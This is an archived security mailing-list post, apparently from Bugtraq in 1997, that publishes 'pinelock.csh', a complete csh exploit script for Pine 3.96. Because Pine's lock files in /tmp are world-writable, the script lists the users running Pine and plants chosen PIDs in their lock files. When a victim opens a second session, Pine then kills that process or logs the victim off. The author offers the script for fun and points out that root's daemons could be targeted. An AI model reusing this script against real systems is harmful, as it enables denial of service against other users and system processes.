There was something a while ago on bugtraq about pinelock files and how they were mode 666. This program I wrote takes this idea and brings it a step further into an easy way to show why this is a problem. My program <pinelock.csh> allows you to log off a user or kill one of their processes IF they open up a second session of pine. It isn't terribly useful, except for annoying a user. However, if root opens up two sessions of pine, I can think of some interesting processes and daemons which might be killed. Copies of this program will be stored at http://kepler.poly.edu/~rharri01/. Click on files and then click on pinelock.csh. Have fun! -Iconoclast iconoclastat_private ------------------------cut here------pinelock.csh------------- #!/bin/csh -f #pinelock.csh #Written 12/97 by Iconoclast -> iconoclastat_private #This program can exploit the vulnerabilities of pine lock files in version 3.96 #which are mode 666 to log a person off or kill one of their processes if a second #instance of pine is started. It only works if they open a second session of pine. #It could be useful if root likes to open up two sessions of pine... #The kill occurs in the files bezerk.c and mmdf.c as seen in the code fragment from #pine below: # # /* can get the lock? */ #else if (flock (fd,LOCK_EX|LOCK_NB)) { # if (retry-- == KODRETRY) {/* no, first time through? */ # /* yes, get other process' PID */ # if (!fstat (fd,&sbuf) && (i = min (sbuf.st_size,MAILTMPLEN)) && # (read (fd,tmp,i) == i) && !(tmp[i) = 0) && (i = atol (tmp))) { # kill ((int) i,SIGUSR2); # sprintf (tmp,"Trying to get mailbox lock from process %ld",i); # mm_log (tmp,WARN); # } # else retry = 0; /* give up */ # } # close (fd); /* get a new handle next time around */ #Notes on files created #/tmp/aa temp list of lock files #/tmp/bb user id's #/tmp/cc /etc/passwd entry #/tmp/dd pine lock file names #/tmp/ee pids within lock files #/tmp/ff user names #/tmp/gg count of users running pine #/tmp/hh final parsed output #/tmp/jj processes #/tmp/kk parsed processes #/tmp/ll temp storage for pid and garbage #/tmp/mm actual pid we want to kill #/tmp/nn parsed numbers and processes #/tmp/oo list of just pids clear ls -la /tmp|egrep 'rw-rw-rw-.*\.[0-9a-f]+\.[0-9a-f]+$' > /tmp/aa #list of lock files in /tmp awk '{print $3}' /tmp/aa > /tmp/bb #get user name of each file awk '{print $9}' /tmp/aa > /tmp/dd #get list of names of lock files touch /tmp/cc /tmp/ee /tmp/gg #create files so we don't run into trouble #in the foreach loop when we do ">>" foreach i ( `cat /tmp/bb` ) grep $i /etc/passwd >> /tmp/cc #search /etc/passwd for user name end awk -F: '{print $5}' /tmp/cc > /tmp/ff #get person's name from user name set k=1 foreach i( `cat /tmp/dd` ) #go through lock file names echo $k >> /tmp/gg #generate sequential numbers set k = `expr $k + 1` #increment count by 1 cat /tmp/$i >> /tmp/ee #get pid within each lock file echo "" >> /tmp/ee #new line end paste -d " " /tmp/gg /tmp/dd /tmp/ee /tmp/bb /tmp/ff>/tmp/hh echo "The following users are running pine:" echo "" echo "#" lock file pid " " uid " " user name echo "--------------------------------------------------" cat /tmp/hh #this is the parsed data echo "" echo "Pick from the choices below." echo "1) Try to log them off" echo "2) Try to kill a process" echo "3) Exit" echo -n "Choice:" set input = $< if ("$input" == "3") then cd /tmp rm -f aa bb cc dd ee ff gg hh exit endif if ("$input" == "1"||"$input" == "2") then echo -n "Pick a number you'd like to try:" set number = $< set k=0 foreach i (`cat /tmp/dd`) set k = `expr $k + 1` if ("$k" == "$number") then set filename = $i goto label endif end endif label: if("$input" == "1") then echo 99999999999999999999999999999999 >! /tmp/$i #32 9's in lock file echo "Kill code has been inserted\!" endif if ("$input" == "2") then echo '' >! /tmp/$i #remove old pid echo "Below are the processes the person is running:" ls -la /tmp/$i > /tmp/ll awk '{print $3}' /tmp/ll > /tmp/mm #/tmp/mm has uid set uid = `cat /tmp/mm` /bin/ps -ef|grep $uid > /tmp/jj #number generator and paste. awk '{print $1}' /tmp/jj > /tmp/kk #amount of processes set k=1 rm -f /tmp/gg touch /tmp/gg foreach i( `cat /tmp/kk` ) echo $k >> /tmp/gg #generate sequential numbers set k = `expr $k + 1` #increment count by 1 end paste -d " " /tmp/gg /tmp/jj > /tmp/nn cat /tmp/nn echo -n "Pick a process:" #choose process we want to kill set number2 = $< awk '{print $3}' /tmp/nn > /tmp/oo #put pids into a file set k=0 foreach i( `cat /tmp/oo` ) #find pid we want set k = `expr $k + 1` if ("$k" == "$number2") then goto label2 endif end label2: echo $i >! /tmp/$filename #put pid into lockfile echo "Kill code has been inserted\!" endif cd /tmp rm -f aa bb cc dd ee ff gg hh jj kk ll mm nn oo #clean up files cd #put you back in home dir ----------------end cut------------------ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzNmUI4AAAEEAODKLXdOCW9uEYLv8A+HWa9ZP12frN1aDUsjD5sLtpFqhW1G S2lfbIL48+jjufsZPIuwhpL9kcTI2F09cByDqPdygz+OPaiq1VmHd21MR85VgAr+ xlq2fzd1NIctooBl3cZIkTYLYSbYWvgYKcP+LoyjqAhXmqrXd5qYW25wwG2NAAUR tBo8cmhhcnJpMDFAa2VwbGVyLnBvbHkuZWR1Pg== =gF+6 -----END PGP PUBLIC KEY BLOCK-----
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:34:57 PDT